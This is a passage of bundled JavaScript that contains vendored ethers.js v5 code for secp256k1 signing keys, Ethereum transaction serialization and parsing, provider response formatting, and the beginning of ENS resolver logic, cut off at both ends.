Error(\"Unable to find sencond key candinate\");\n if (isSecondKey)\n r2 = this.curve.pointFromX(r2.add(this.curve.n), isYOdd);\n else\n r2 = this.curve.pointFromX(r2, isYOdd);\n var rInv = signature$1.r.invm(n);\n var s1 = n.sub(e).mul(rInv).umod(n);\n var s2 = s.mul(rInv).umod(n);\n return this.g.mulAdd(s1, r2, s2);\n};\nEC.prototype.getKeyRecoveryParam = function(e, signature$1, Q, enc) {\n signature$1 = new signature(signature$1, enc);\n if (signature$1.recoveryParam !== null)\n return signature$1.recoveryParam;\n for (var i = 0; i < 4; i++) {\n var Qprime;\n try {\n Qprime = this.recoverPubKey(e, signature$1, i);\n } catch (e2) {\n continue;\n }\n if (Qprime.eq(Q))\n return i;\n }\n throw new Error(\"Unable to find valid recovery factor\");\n};\nvar elliptic_1 = createCommonjsModule(function(module, exports) {\n \"use strict\";\n var elliptic = exports;\n elliptic.version = /*RicMoo:ethers*/\n { version: \"6.5.4\" }.version;\n elliptic.utils = utils_1$1;\n elliptic.rand = /*RicMoo:ethers:require(brorand)*/\n function() {\n throw new Error(\"unsupported\");\n };\n elliptic.curve = curve_1;\n elliptic.curves = curves_1;\n elliptic.ec = ec;\n elliptic.eddsa = /*RicMoo:ethers:require(./elliptic/eddsa)*/\n null;\n});\nvar EC$1 = elliptic_1.ec;\n\n// node_modules/@ethersproject/signing-key/lib.esm/_version.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\nvar version14 = \"signing-key/5.7.0\";\n\n// node_modules/@ethersproject/signing-key/lib.esm/index.js\nvar logger13 = new Logger(version14);\nvar _curve = null;\nfunction getCurve() {\n if (!_curve) {\n _curve = new EC$1(\"secp256k1\");\n }\n return _curve;\n}\nvar SigningKey = class {\n constructor(privateKey) {\n defineReadOnly(this, \"curve\", \"secp256k1\");\n defineReadOnly(this, \"privateKey\", hexlify(privateKey));\n if (hexDataLength(this.privateKey) !== 32) {\n logger13.throwArgumentError(\"invalid private key\", \"privateKey\", \"[[ REDACTED ]]\");\n }\n const keyPair2 = getCurve().keyFromPrivate(arrayify(this.privateKey));\n defineReadOnly(this, \"publicKey\", \"0x\" + keyPair2.getPublic(false, \"hex\"));\n defineReadOnly(this, \"compressedPublicKey\", \"0x\" + keyPair2.getPublic(true, \"hex\"));\n defineReadOnly(this, \"_isSigningKey\", true);\n }\n _addPoint(other) {\n const p0 = getCurve().keyFromPublic(arrayify(this.publicKey));\n const p1 = getCurve().keyFromPublic(arrayify(other));\n return \"0x\" + p0.pub.add(p1.pub).encodeCompressed(\"hex\");\n }\n signDigest(digest) {\n const keyPair2 = getCurve().keyFromPrivate(arrayify(this.privateKey));\n const digestBytes = arrayify(digest);\n if (digestBytes.length !== 32) {\n logger13.throwArgumentError(\"bad digest length\", \"digest\", digest);\n }\n const signature2 = keyPair2.sign(digestBytes, { canonical: true });\n return splitSignature({\n recoveryParam: signature2.recoveryParam,\n r: hexZeroPad(\"0x\" + signature2.r.toString(16), 32),\n s: hexZeroPad(\"0x\" + signature2.s.toString(16), 32)\n });\n }\n computeSharedSecret(otherKey) {\n const keyPair2 = getCurve().keyFromPrivate(arrayify(this.privateKey));\n const otherKeyPair = getCurve().keyFromPublic(arrayify(computePublicKey(otherKey)));\n return hexZeroPad(\"0x\" + keyPair2.derive(otherKeyPair.getPublic()).toString(16), 32);\n }\n static isSigningKey(value) {\n return !!(value && value._isSigningKey);\n }\n};\nfunction recoverPublicKey(digest, signature2) {\n const sig = splitSignature(signature2);\n const rs = { r: arrayify(sig.r), s: arrayify(sig.s) };\n return \"0x\" + getCurve().recoverPubKey(arrayify(digest), rs, sig.recoveryParam).encode(\"hex\", false);\n}\nfunction computePublicKey(key2, compressed) {\n const bytes = arrayify(key2);\n if (bytes.length === 32) {\n const signingKey = new SigningKey(bytes);\n if (compressed) {\n return \"0x\" + getCurve().keyFromPrivate(bytes).getPublic(true, \"hex\");\n }\n return signingKey.publicKey;\n } else if (bytes.length === 33) {\n if (compressed) {\n return hexlify(bytes);\n }\n return \"0x\" + getCurve().keyFromPublic(bytes).getPublic(false, \"hex\");\n } else if (bytes.length === 65) {\n if (!compressed) {\n return hexlify(bytes);\n }\n return \"0x\" + getCurve().keyFromPublic(bytes).getPublic(true, \"hex\");\n }\n return logger13.throwArgumentError(\"invalid public or private key\", \"key\", \"[REDACTED]\");\n}\n\n// node_modules/@ethersproject/transactions/lib.esm/_version.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\nvar version15 = \"transactions/5.7.0\";\n\n// node_modules/@ethersproject/transactions/lib.esm/index.js\nvar logger14 = new Logger(version15);\nvar TransactionTypes;\n(function(TransactionTypes2) {\n TransactionTypes2[TransactionTypes2[\"legacy\"] = 0] = \"legacy\";\n TransactionTypes2[TransactionTypes2[\"eip2930\"] = 1] = \"eip2930\";\n TransactionTypes2[TransactionTypes2[\"eip1559\"] = 2] = \"eip1559\";\n})(TransactionTypes || (TransactionTypes = {}));\nfunction handleAddress(value) {\n if (value === \"0x\") {\n return null;\n }\n return getAddress(value);\n}\nfunction handleNumber(value) {\n if (value === \"0x\") {\n return Zero;\n }\n return BigNumber.from(value);\n}\nfunction computeAddress(key2) {\n const publicKey = computePublicKey(key2);\n return getAddress(hexDataSlice(keccak256(hexDataSlice(publicKey, 1)), 12));\n}\nfunction recoverAddress(digest, signature2) {\n return computeAddress(recoverPublicKey(arrayify(digest), signature2));\n}\nfunction formatNumber(value, name) {\n const result = stripZeros(BigNumber.from(value).toHexString());\n if (result.length > 32) {\n logger14.throwArgumentError(\"invalid length for \" + name, \"transaction:\" + name, value);\n }\n return result;\n}\nfunction accessSetify(addr, storageKeys) {\n return {\n address: getAddress(addr),\n storageKeys: (storageKeys || []).map((storageKey, index) => {\n if (hexDataLength(storageKey) !== 32) {\n logger14.throwArgumentError(\"invalid access list storageKey\", `accessList[${addr}:${index}]`, storageKey);\n }\n return storageKey.toLowerCase();\n })\n };\n}\nfunction accessListify(value) {\n if (Array.isArray(value)) {\n return value.map((set, index) => {\n if (Array.isArray(set)) {\n if (set.length > 2) {\n logger14.throwArgumentError(\"access list expected to be [ address, storageKeys[] ]\", `value[${index}]`, set);\n }\n return accessSetify(set[0], set[1]);\n }\n return accessSetify(set.address, set.storageKeys);\n });\n }\n const result = Object.keys(value).map((addr) => {\n const storageKeys = value[addr].reduce((accum, storageKey) => {\n accum[storageKey] = true;\n return accum;\n }, {});\n return accessSetify(addr, Object.keys(storageKeys).sort());\n });\n result.sort((a, b) => a.address.localeCompare(b.address));\n return result;\n}\nfunction formatAccessList(value) {\n return accessListify(value).map((set) => [set.address, set.storageKeys]);\n}\nfunction _serializeEip1559(transaction, signature2) {\n if (transaction.gasPrice != null) {\n const gasPrice = BigNumber.from(transaction.gasPrice);\n const maxFeePerGas = BigNumber.from(transaction.maxFeePerGas || 0);\n if (!gasPrice.eq(maxFeePerGas)) {\n logger14.throwArgumentError(\"mismatch EIP-1559 gasPrice != maxFeePerGas\", \"tx\", {\n gasPrice,\n maxFeePerGas\n });\n }\n }\n const fields = [\n formatNumber(transaction.chainId || 0, \"chainId\"),\n formatNumber(transaction.nonce || 0, \"nonce\"),\n formatNumber(transaction.maxPriorityFeePerGas || 0, \"maxPriorityFeePerGas\"),\n formatNumber(transaction.maxFeePerGas || 0, \"maxFeePerGas\"),\n formatNumber(transaction.gasLimit || 0, \"gasLimit\"),\n transaction.to != null ? getAddress(transaction.to) : \"0x\",\n formatNumber(transaction.value || 0, \"value\"),\n transaction.data || \"0x\",\n formatAccessList(transaction.accessList || [])\n ];\n if (signature2) {\n const sig = splitSignature(signature2);\n fields.push(formatNumber(sig.recoveryParam, \"recoveryParam\"));\n fields.push(stripZeros(sig.r));\n fields.push(stripZeros(sig.s));\n }\n return hexConcat([\"0x02\", encode2(fields)]);\n}\nfunction _serializeEip2930(transaction, signature2) {\n const fields = [\n formatNumber(transaction.chainId || 0, \"chainId\"),\n formatNumber(transaction.nonce || 0, \"nonce\"),\n formatNumber(transaction.gasPrice || 0, \"gasPrice\"),\n formatNumber(transaction.gasLimit || 0, \"gasLimit\"),\n transaction.to != null ? getAddress(transaction.to) : \"0x\",\n formatNumber(transaction.value || 0, \"value\"),\n transaction.data || \"0x\",\n formatAccessList(transaction.accessList || [])\n ];\n if (signature2) {\n const sig = splitSignature(signature2);\n fields.push(formatNumber(sig.recoveryParam, \"recoveryParam\"));\n fields.push(stripZeros(sig.r));\n fields.push(stripZeros(sig.s));\n }\n return hexConcat([\"0x01\", encode2(fields)]);\n}\nfunction _parseEipSignature(tx, fields, serialize) {\n try {\n const recid = handleNumber(fields[0]).toNumber();\n if (recid !== 0 && recid !== 1) {\n throw new Error(\"bad recid\");\n }\n tx.v = recid;\n } catch (error) {\n logger14.throwArgumentError(\"invalid v for transaction type: 1\", \"v\", fields[0]);\n }\n tx.r = hexZeroPad(fields[1], 32);\n tx.s = hexZeroPad(fields[2], 32);\n try {\n const digest = keccak256(serialize(tx));\n tx.from = recoverAddress(digest, { r: tx.r, s: tx.s, recoveryParam: tx.v });\n } catch (error) {\n }\n}\nfunction _parseEip1559(payload) {\n const transaction = decode2(payload.slice(1));\n if (transaction.length !== 9 && transaction.length !== 12) {\n logger14.throwArgumentError(\"invalid component count for transaction type: 2\", \"payload\", hexlify(payload));\n }\n const maxPriorityFeePerGas = handleNumber(transaction[2]);\n const maxFeePerGas = handleNumber(transaction[3]);\n const tx = {\n type: 2,\n chainId: handleNumber(transaction[0]).toNumber(),\n nonce: handleNumber(transaction[1]).toNumber(),\n maxPriorityFeePerGas,\n maxFeePerGas,\n gasPrice: null,\n gasLimit: handleNumber(transaction[4]),\n to: handleAddress(transaction[5]),\n value: handleNumber(transaction[6]),\n data: transaction[7],\n accessList: accessListify(transaction[8])\n };\n if (transaction.length === 9) {\n return tx;\n }\n tx.hash = keccak256(payload);\n _parseEipSignature(tx, transaction.slice(9), _serializeEip1559);\n return tx;\n}\nfunction _parseEip2930(payload) {\n const transaction = decode2(payload.slice(1));\n if (transaction.length !== 8 && transaction.length !== 11) {\n logger14.throwArgumentError(\"invalid component count for transaction type: 1\", \"payload\", hexlify(payload));\n }\n const tx = {\n type: 1,\n chainId: handleNumber(transaction[0]).toNumber(),\n nonce: handleNumber(transaction[1]).toNumber(),\n gasPrice: handleNumber(transaction[2]),\n gasLimit: handleNumber(transaction[3]),\n to: handleAddress(transaction[4]),\n value: handleNumber(transaction[5]),\n data: transaction[6],\n accessList: accessListify(transaction[7])\n };\n if (transaction.length === 8) {\n return tx;\n }\n tx.hash = keccak256(payload);\n _parseEipSignature(tx, transaction.slice(8), _serializeEip2930);\n return tx;\n}\nfunction _parse(rawTransaction) {\n const transaction = decode2(rawTransaction);\n if (transaction.length !== 9 && transaction.length !== 6) {\n logger14.throwArgumentError(\"invalid raw transaction\", \"rawTransaction\", rawTransaction);\n }\n const tx = {\n nonce: handleNumber(transaction[0]).toNumber(),\n gasPrice: handleNumber(transaction[1]),\n gasLimit: handleNumber(transaction[2]),\n to: handleAddress(transaction[3]),\n value: handleNumber(transaction[4]),\n data: transaction[5],\n chainId: 0\n };\n if (transaction.length === 6) {\n return tx;\n }\n try {\n tx.v = BigNumber.from(transaction[6]).toNumber();\n } catch (error) {\n return tx;\n }\n tx.r = hexZeroPad(transaction[7], 32);\n tx.s = hexZeroPad(transaction[8], 32);\n if (BigNumber.from(tx.r).isZero() && BigNumber.from(tx.s).isZero()) {\n tx.chainId = tx.v;\n tx.v = 0;\n } else {\n tx.chainId = Math.floor((tx.v - 35) / 2);\n if (tx.chainId < 0) {\n tx.chainId = 0;\n }\n let recoveryParam = tx.v - 27;\n const raw = transaction.slice(0, 6);\n if (tx.chainId !== 0) {\n raw.push(hexlify(tx.chainId));\n raw.push(\"0x\");\n raw.push(\"0x\");\n recoveryParam -= tx.chainId * 2 + 8;\n }\n const digest = keccak256(encode2(raw));\n try {\n tx.from = recoverAddress(digest, { r: hexlify(tx.r), s: hexlify(tx.s), recoveryParam });\n } catch (error) {\n }\n tx.hash = keccak256(rawTransaction);\n }\n tx.type = null;\n return tx;\n}\nfunction parse(rawTransaction) {\n const payload = arrayify(rawTransaction);\n if (payload[0] > 127) {\n return _parse(payload);\n }\n switch (payload[0]) {\n case 1:\n return _parseEip2930(payload);\n case 2:\n return _parseEip1559(payload);\n default:\n break;\n }\n return logger14.throwError(`unsupported transaction type: ${payload[0]}`, Logger.errors.UNSUPPORTED_OPERATION, {\n operation: \"parseTransaction\",\n transactionType: payload[0]\n });\n}\n\n// node_modules/@ethersproject/providers/lib.esm/formatter.js\nvar logger15 = new Logger(version13);\nvar Formatter = class _Formatter {\n constructor() {\n this.formats = this.getDefaultFormats();\n }\n getDefaultFormats() {\n const formats = {};\n const address = this.address.bind(this);\n const bigNumber = this.bigNumber.bind(this);\n const blockTag = this.blockTag.bind(this);\n const data = this.data.bind(this);\n const hash3 = this.hash.bind(this);\n const hex = this.hex.bind(this);\n const number = this.number.bind(this);\n const type = this.type.bind(this);\n const strictData = (v) => {\n return this.data(v, true);\n };\n formats.transaction = {\n hash: hash3,\n type,\n accessList: _Formatter.allowNull(this.accessList.bind(this), null),\n blockHash: _Formatter.allowNull(hash3, null),\n blockNumber: _Formatter.allowNull(number, null),\n transactionIndex: _Formatter.allowNull(number, null),\n confirmations: _Formatter.allowNull(number, null),\n from: address,\n // either (gasPrice) or (maxPriorityFeePerGas + maxFeePerGas)\n // must be set\n gasPrice: _Formatter.allowNull(bigNumber),\n maxPriorityFeePerGas: _Formatter.allowNull(bigNumber),\n maxFeePerGas: _Formatter.allowNull(bigNumber),\n gasLimit: bigNumber,\n to: _Formatter.allowNull(address, null),\n value: bigNumber,\n nonce: number,\n data,\n r: _Formatter.allowNull(this.uint256),\n s: _Formatter.allowNull(this.uint256),\n v: _Formatter.allowNull(number),\n creates: _Formatter.allowNull(address, null),\n raw: _Formatter.allowNull(data)\n };\n formats.transactionRequest = {\n from: _Formatter.allowNull(address),\n nonce: _Formatter.allowNull(number),\n gasLimit: _Formatter.allowNull(bigNumber),\n gasPrice: _Formatter.allowNull(bigNumber),\n maxPriorityFeePerGas: _Formatter.allowNull(bigNumber),\n maxFeePerGas: _Formatter.allowNull(bigNumber),\n to: _Formatter.allowNull(address),\n value: _Formatter.allowNull(bigNumber),\n data: _Formatter.allowNull(strictData),\n type: _Formatter.allowNull(number),\n accessList: _Formatter.allowNull(this.accessList.bind(this), null)\n };\n formats.receiptLog = {\n transactionIndex: number,\n blockNumber: number,\n transactionHash: hash3,\n address,\n topics: _Formatter.arrayOf(hash3),\n data,\n logIndex: number,\n blockHash: hash3\n };\n formats.receipt = {\n to: _Formatter.allowNull(this.address, null),\n from: _Formatter.allowNull(this.address, null),\n contractAddress: _Formatter.allowNull(address, null),\n transactionIndex: number,\n // should be allowNull(hash), but broken-EIP-658 support is handled in receipt\n root: _Formatter.allowNull(hex),\n gasUsed: bigNumber,\n logsBloom: _Formatter.allowNull(data),\n blockHash: hash3,\n transactionHash: hash3,\n logs: _Formatter.arrayOf(this.receiptLog.bind(this)),\n blockNumber: number,\n confirmations: _Formatter.allowNull(number, null),\n cumulativeGasUsed: bigNumber,\n effectiveGasPrice: _Formatter.allowNull(bigNumber),\n status: _Formatter.allowNull(number),\n type\n };\n formats.block = {\n hash: _Formatter.allowNull(hash3),\n parentHash: hash3,\n number,\n timestamp: number,\n nonce: _Formatter.allowNull(hex),\n difficulty: this.difficulty.bind(this),\n gasLimit: bigNumber,\n gasUsed: bigNumber,\n miner: _Formatter.allowNull(address),\n extraData: data,\n transactions: _Formatter.allowNull(_Formatter.arrayOf(hash3)),\n baseFeePerGas: _Formatter.allowNull(bigNumber)\n };\n formats.blockWithTransactions = shallowCopy(formats.block);\n formats.blockWithTransactions.transactions = _Formatter.allowNull(_Formatter.arrayOf(this.transactionResponse.bind(this)));\n formats.filter = {\n fromBlock: _Formatter.allowNull(blockTag, void 0),\n toBlock: _Formatter.allowNull(blockTag, void 0),\n blockHash: _Formatter.allowNull(hash3, void 0),\n address: _Formatter.allowNull(address, void 0),\n topics: _Formatter.allowNull(this.topics.bind(this), void 0)\n };\n formats.filterLog = {\n blockNumber: _Formatter.allowNull(number),\n blockHash: _Formatter.allowNull(hash3),\n transactionIndex: number,\n removed: _Formatter.allowNull(this.boolean.bind(this)),\n address,\n data: _Formatter.allowFalsish(data, \"0x\"),\n topics: _Formatter.arrayOf(hash3),\n transactionHash: hash3,\n logIndex: number\n };\n return formats;\n }\n accessList(accessList) {\n return accessListify(accessList || []);\n }\n // Requires a BigNumberish that is within the IEEE754 safe integer range; returns a number\n // Strict! Used on input.\n number(number) {\n if (number === \"0x\") {\n return 0;\n }\n return BigNumber.from(number).toNumber();\n }\n type(number) {\n if (number === \"0x\" || number == null) {\n return 0;\n }\n return BigNumber.from(number).toNumber();\n }\n // Strict! Used on input.\n bigNumber(value) {\n return BigNumber.from(value);\n }\n // Requires a boolean, \"true\" or \"false\"; returns a boolean\n boolean(value) {\n if (typeof value === \"boolean\") {\n return value;\n }\n if (typeof value === \"string\") {\n value = value.toLowerCase();\n if (value === \"true\") {\n return true;\n }\n if (value === \"false\") {\n return false;\n }\n }\n throw new Error(\"invalid boolean - \" + value);\n }\n hex(value, strict) {\n if (typeof value === \"string\") {\n if (!strict && value.substring(0, 2) !== \"0x\") {\n value = \"0x\" + value;\n }\n if (isHexString(value)) {\n return value.toLowerCase();\n }\n }\n return logger15.throwArgumentError(\"invalid hash\", \"value\", value);\n }\n data(value, strict) {\n const result = this.hex(value, strict);\n if (result.length % 2 !== 0) {\n throw new Error(\"invalid data; odd-length - \" + value);\n }\n return result;\n }\n // Requires an address\n // Strict! Used on input.\n address(value) {\n return getAddress(value);\n }\n callAddress(value) {\n if (!isHexString(value, 32)) {\n return null;\n }\n const address = getAddress(hexDataSlice(value, 12));\n return address === AddressZero ? null : address;\n }\n contractAddress(value) {\n return getContractAddress(value);\n }\n // Strict! Used on input.\n blockTag(blockTag) {\n if (blockTag == null) {\n return \"latest\";\n }\n if (blockTag === \"earliest\") {\n return \"0x0\";\n }\n switch (blockTag) {\n case \"earliest\":\n return \"0x0\";\n case \"latest\":\n case \"pending\":\n case \"safe\":\n case \"finalized\":\n return blockTag;\n }\n if (typeof blockTag === \"number\" || isHexString(blockTag)) {\n return hexValue(blockTag);\n }\n throw new Error(\"invalid blockTag\");\n }\n // Requires a hash, optionally requires 0x prefix; returns prefixed lowercase hash.\n hash(value, strict) {\n const result = this.hex(value, strict);\n if (hexDataLength(result) !== 32) {\n return logger15.throwArgumentError(\"invalid hash\", \"value\", value);\n }\n return result;\n }\n // Returns the difficulty as a number, or if too large (i.e. PoA network) null\n difficulty(value) {\n if (value == null) {\n return null;\n }\n const v = BigNumber.from(value);\n try {\n return v.toNumber();\n } catch (error) {\n }\n return null;\n }\n uint256(value) {\n if (!isHexString(value)) {\n throw new Error(\"invalid uint256\");\n }\n return hexZeroPad(value, 32);\n }\n _block(value, format) {\n if (value.author != null && value.miner == null) {\n value.miner = value.author;\n }\n const difficulty = value._difficulty != null ? value._difficulty : value.difficulty;\n const result = _Formatter.check(format, value);\n result._difficulty = difficulty == null ? null : BigNumber.from(difficulty);\n return result;\n }\n block(value) {\n return this._block(value, this.formats.block);\n }\n blockWithTransactions(value) {\n return this._block(value, this.formats.blockWithTransactions);\n }\n // Strict! Used on input.\n transactionRequest(value) {\n return _Formatter.check(this.formats.transactionRequest, value);\n }\n transactionResponse(transaction) {\n if (transaction.gas != null && transaction.gasLimit == null) {\n transaction.gasLimit = transaction.gas;\n }\n if (transaction.to && BigNumber.from(transaction.to).isZero()) {\n transaction.to = \"0x0000000000000000000000000000000000000000\";\n }\n if (transaction.input != null && transaction.data == null) {\n transaction.data = transaction.input;\n }\n if (transaction.to == null && transaction.creates == null) {\n transaction.creates = this.contractAddress(transaction);\n }\n if ((transaction.type === 1 || transaction.type === 2) && transaction.accessList == null) {\n transaction.accessList = [];\n }\n const result = _Formatter.check(this.formats.transaction, transaction);\n if (transaction.chainId != null) {\n let chainId = transaction.chainId;\n if (isHexString(chainId)) {\n chainId = BigNumber.from(chainId).toNumber();\n }\n result.chainId = chainId;\n } else {\n let chainId = transaction.networkId;\n if (chainId == null && result.v == null) {\n chainId = transaction.chainId;\n }\n if (isHexString(chainId)) {\n chainId = BigNumber.from(chainId).toNumber();\n }\n if (typeof chainId !== \"number\" && result.v != null) {\n chainId = (result.v - 35) / 2;\n if (chainId < 0) {\n chainId = 0;\n }\n chainId = parseInt(chainId);\n }\n if (typeof chainId !== \"number\") {\n chainId = 0;\n }\n result.chainId = chainId;\n }\n if (result.blockHash && result.blockHash.replace(/0/g, \"\") === \"x\") {\n result.blockHash = null;\n }\n return result;\n }\n transaction(value) {\n return parse(value);\n }\n receiptLog(value) {\n return _Formatter.check(this.formats.receiptLog, value);\n }\n receipt(value) {\n const result = _Formatter.check(this.formats.receipt, value);\n if (result.root != null) {\n if (result.root.length <= 4) {\n const value2 = BigNumber.from(result.root).toNumber();\n if (value2 === 0 || value2 === 1) {\n if (result.status != null && result.status !== value2) {\n logger15.throwArgumentError(\"alt-root-status/status mismatch\", \"value\", { root: result.root, status: result.status });\n }\n result.status = value2;\n delete result.root;\n } else {\n logger15.throwArgumentError(\"invalid alt-root-status\", \"value.root\", result.root);\n }\n } else if (result.root.length !== 66) {\n logger15.throwArgumentError(\"invalid root hash\", \"value.root\", result.root);\n }\n }\n if (result.status != null) {\n result.byzantium = true;\n }\n return result;\n }\n topics(value) {\n if (Array.isArray(value)) {\n return value.map((v) => this.topics(v));\n } else if (value != null) {\n return this.hash(value, true);\n }\n return null;\n }\n filter(value) {\n return _Formatter.check(this.formats.filter, value);\n }\n filterLog(value) {\n return _Formatter.check(this.formats.filterLog, value);\n }\n static check(format, object) {\n const result = {};\n for (const key2 in format) {\n try {\n const value = format[key2](object[key2]);\n if (value !== void 0) {\n result[key2] = value;\n }\n } catch (error) {\n error.checkKey = key2;\n error.checkValue = object[key2];\n throw error;\n }\n }\n return result;\n }\n // if value is null-ish, nullValue is returned\n static allowNull(format, nullValue) {\n return function(value) {\n if (value == null) {\n return nullValue;\n }\n return format(value);\n };\n }\n // If value is false-ish, replaceValue is returned\n static allowFalsish(format, replaceValue) {\n return function(value) {\n if (!value) {\n return replaceValue;\n }\n return format(value);\n };\n }\n // Requires an Array satisfying check\n static arrayOf(format) {\n return function(array) {\n if (!Array.isArray(array)) {\n throw new Error(\"not an array\");\n }\n const result = [];\n array.forEach(function(value) {\n result.push(format(value));\n });\n return result;\n };\n }\n};\n\n// node_modules/@ethersproject/providers/lib.esm/base-provider.js\nvar __awaiter6 = function(thisArg, _arguments, P, generator) {\n function adopt(value) {\n return value instanceof P ? value : new P(function(resolve) {\n resolve(value);\n });\n }\n return new (P || (P = Promise))(function(resolve, reject) {\n function fulfilled(value) {\n try {\n step(generator.next(value));\n } catch (e) {\n reject(e);\n }\n }\n function rejected(value) {\n try {\n step(generator[\"throw\"](value));\n } catch (e) {\n reject(e);\n }\n }\n function step(result) {\n result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected);\n }\n step((generator = generator.apply(thisArg, _arguments || [])).next());\n });\n};\nvar logger16 = new Logger(version13);\nvar MAX_CCIP_REDIRECTS = 10;\nfunction checkTopic(topic) {\n if (topic == null) {\n return \"null\";\n }\n if (hexDataLength(topic) !== 32) {\n logger16.throwArgumentError(\"invalid topic\", \"topic\", topic);\n }\n return topic.toLowerCase();\n}\nfunction serializeTopics(topics) {\n topics = topics.slice();\n while (topics.length > 0 && topics[topics.length - 1] == null) {\n topics.pop();\n }\n return topics.map((topic) => {\n if (Array.isArray(topic)) {\n const unique = {};\n topic.forEach((topic2) => {\n unique[checkTopic(topic2)] = true;\n });\n const sorted = Object.keys(unique);\n sorted.sort();\n return sorted.join(\"|\");\n } else {\n return checkTopic(topic);\n }\n }).join(\"&\");\n}\nfunction deserializeTopics(data) {\n if (data === \"\") {\n return [];\n }\n return data.split(/&/g).map((topic) => {\n if (topic === \"\") {\n return [];\n }\n const comps = topic.split(\"|\").map((topic2) => {\n return topic2 === \"null\" ? null : topic2;\n });\n return comps.length === 1 ? comps[0] : comps;\n });\n}\nfunction getEventTag(eventName) {\n if (typeof eventName === \"string\") {\n eventName = eventName.toLowerCase();\n if (hexDataLength(eventName) === 32) {\n return \"tx:\" + eventName;\n }\n if (eventName.indexOf(\":\") === -1) {\n return eventName;\n }\n } else if (Array.isArray(eventName)) {\n return \"filter:*:\" + serializeTopics(eventName);\n } else if (ForkEvent.isForkEvent(eventName)) {\n logger16.warn(\"not implemented\");\n throw new Error(\"not implemented\");\n } else if (eventName && typeof eventName === \"object\") {\n return \"filter:\" + (eventName.address || \"*\") + \":\" + serializeTopics(eventName.topics || []);\n }\n throw new Error(\"invalid event - \" + eventName);\n}\nfunction getTime() {\n return (/* @__PURE__ */ new Date()).getTime();\n}\nfunction stall(duration) {\n return new Promise((resolve) => {\n setTimeout(resolve, duration);\n });\n}\nvar PollableEvents = [\"block\", \"network\", \"pending\", \"poll\"];\nvar Event = class {\n constructor(tag, listener, once) {\n defineReadOnly(this, \"tag\", tag);\n defineReadOnly(this, \"listener\", listener);\n defineReadOnly(this, \"once\", once);\n this._lastBlockNumber = -2;\n this._inflight = false;\n }\n get event() {\n switch (this.type) {\n case \"tx\":\n return this.hash;\n case \"filter\":\n return this.filter;\n }\n return this.tag;\n }\n get type() {\n return this.tag.split(\":\")[0];\n }\n get hash() {\n const comps = this.tag.split(\":\");\n if (comps[0] !== \"tx\") {\n return null;\n }\n return comps[1];\n }\n get filter() {\n const comps = this.tag.split(\":\");\n if (comps[0] !== \"filter\") {\n return null;\n }\n const address = comps[1];\n const topics = deserializeTopics(comps[2]);\n const filter2 = {};\n if (topics.length > 0) {\n filter2.topics = topics;\n }\n if (address && address !== \"*\") {\n filter2.address = address;\n }\n return filter2;\n }\n pollable() {\n return this.tag.indexOf(\":\") >= 0 || PollableEvents.indexOf(this.tag) >= 0;\n }\n};\nvar coinInfos = {\n \"0\": { symbol: \"btc\", p2pkh: 0, p2sh: 5, prefix: \"bc\" },\n \"2\": { symbol: \"ltc\", p2pkh: 48, p2sh: 50, prefix: \"ltc\" },\n \"3\": { symbol: \"doge\", p2pkh: 30, p2sh: 22 },\n \"60\": { symbol: \"eth\", ilk: \"eth\" },\n \"61\": { symbol: \"etc\", ilk: \"eth\" },\n \"700\": { symbol: \"xdai\", ilk: \"eth\" }\n};\nfunction bytes32ify(value) {\n return hexZeroPad(BigNumber.from(value).toHexString(), 32);\n}\nfunction base58Encode(data) {\n return Base58.encode(concat([data, hexDataSlice(sha256(sha256(data)), 0, 4)]));\n}\nvar matcherIpfs = new RegExp(\"^(ipfs)://(.*)$\", \"i\");\nvar matchers = [\n new RegExp(\"^(https)://(.*)$\", \"i\"),\n new RegExp(\"^(data):(.*)$\", \"i\"),\n matcherIpfs,\n new RegExp(\"^eip155:[0-9]+/(erc[0-9]+):(.*)$\", \"i\")\n];\nfunction _parseString(result, start) {\n try {\n return toUtf8String(_parseBytes(result, start));\n } catch (error) {\n }\n return null;\n}\nfunction _parseBytes(result, start) {\n if (result === \"0x\") {\n return null;\n }\n const offset = BigNumber.from(hexDataSlice(result, start, start + 32)).toNumber();\n const length = BigNumber.from(hexDataSlice(result, offset, offset + 32)).toNumber();\n return hexDataSlice(result, offset + 32, offset + 32 + length);\n}\nfunction getIpfsLink(link) {\n if (link.match(/^ipfs:\\/\\/ipfs\\//i)) {\n link = link.substring(12);\n } else if (link.match(/^ipfs:\\/\\//i)) {\n link = link.substring(7);\n } else {\n logger16.throwArgumentError(\"unsupported IPFS format\", \"link\", link);\n }\n return `https://gateway.ipfs.io/ipfs/${link}`;\n}\nfunction numPad(value) {\n const result = arrayify(value);\n if (result.length > 32) {\n throw new Error(\"internal; should not happen\");\n }\n const padded = new Uint8Array(32);\n padded.set(result, 32 - result.length);\n return padded;\n}\nfunction bytesPad(value) {\n if (value.length % 32 === 0) {\n return value;\n }\n const result = new Uint8Array(Math.ceil(value.length / 32) * 32);\n result.set(value);\n return result;\n}\nfunction encodeBytes(datas) {\n const result = [];\n let byteCount = 0;\n for (let i = 0; i < datas.length; i++) {\n result.push(null);\n byteCount += 32;\n }\n for (let i = 0; i < datas.length; i++) {\n const data = arrayify(datas[i]);\n result[i] = numPad(byteCount);\n result.push(numPad(data.length));\n result.push(bytesPad(data));\n byteCount += 32 + Math.ceil(data.length / 32) * 32;\n }\n return hexConcat(result);\n}\nvar Resolver = class {\n // The resolvedAddress is only for creating a ReverseLookup resolver\n constructor(provider, address, name, resolvedAddress) {\n defineReadOnly(this, \"provider\", provider);\n defineReadOnly(this, \"name\", name);\n defineReadOnly(this, \"address\", provider.formatter.address(address));\n defineReadOnly(this, \"_resolvedAddress\", resolvedAddress);\n }\n supportsWildcard() {\n if (!this._supportsEip2544) {\n this._supportsEip2544 = this.provider.call({\n to: this.address,\n data: \"0x01ffc9a79061b92300000000000000000000000000000000000000000000000000000000\"\n }).then((result) => {\n return BigNumber.from(result).eq(1);\n }).catch((error) => {\n if (error.code === Logger.errors.CALL_EXCEPTION) {\n return false;\n }\n this._supportsEip2544 = null;\n throw error;\n });\n }\n return this._supportsEip2544;\n }\n _fetch(selector, parameters) {\n return __awaiter6(this, void 0, void 0, function* () {\n const tx = {\n to: this.address,\n ccipReadEnabled: true,\n data: hexConcat([selector, namehash(this.name), parameters || \"0x\"])\n };\n let parseBytes = false;\n if (yield this.supportsWildcard()) {\n parseBytes = true;\n tx.data = hexConcat([\"0x9061b923\", encodeBytes([dnsEncode(this.name), tx.data])]);\n }\n try {\n let result = yield this.provider.call(tx);\n if (arrayify(result).length % 32 === 4) 